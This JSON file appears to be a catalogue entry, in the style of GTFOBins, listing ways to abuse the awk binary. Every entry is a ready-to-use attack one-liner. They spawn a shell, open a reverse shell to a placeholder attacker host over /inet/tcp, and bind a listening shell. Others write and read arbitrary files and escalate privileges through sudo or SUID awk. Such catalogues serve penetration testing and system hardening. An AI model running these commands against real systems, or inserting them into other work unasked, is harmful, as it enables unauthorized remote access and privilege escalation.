{ "functions": { "shell": [ { "code": "awk 'BEGIN {system(\"/bin/sh\")}'" } ], "non-interactive-reverse-shell": [ { "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", "code": "awk -v RHOST=[host] -v RPORT=[port] 'BEGIN {\n s = \"/inet/tcp/0/\" RHOST \"/\" RPORT;\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n" } ], "non-interactive-bind-shell": [ { "description": "Run 'nc [host] [port]' on the attacker box to connect to the shell.", "code": "awk -v LPORT=[port] 'BEGIN {\n s = \"/inet/tcp/\" LPORT \"/0/0\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n" } ], "file-write": [ { "code": "awk -v LFILE=[file] 'BEGIN { print \"DATA\" > LFILE }'\n" } ], "file-read": [ { "code": "awk '//' [file]\n" } ], "sudo": [ { "code": "sudo awk 'BEGIN {system(\"/bin/sh\")}'" } ], "suid": [ { "code": "./awk '//' \"[file]\"" } ], "limited-suid": [ { "code": "./awk 'BEGIN {system(\"/bin/sh\")}'" } ] } }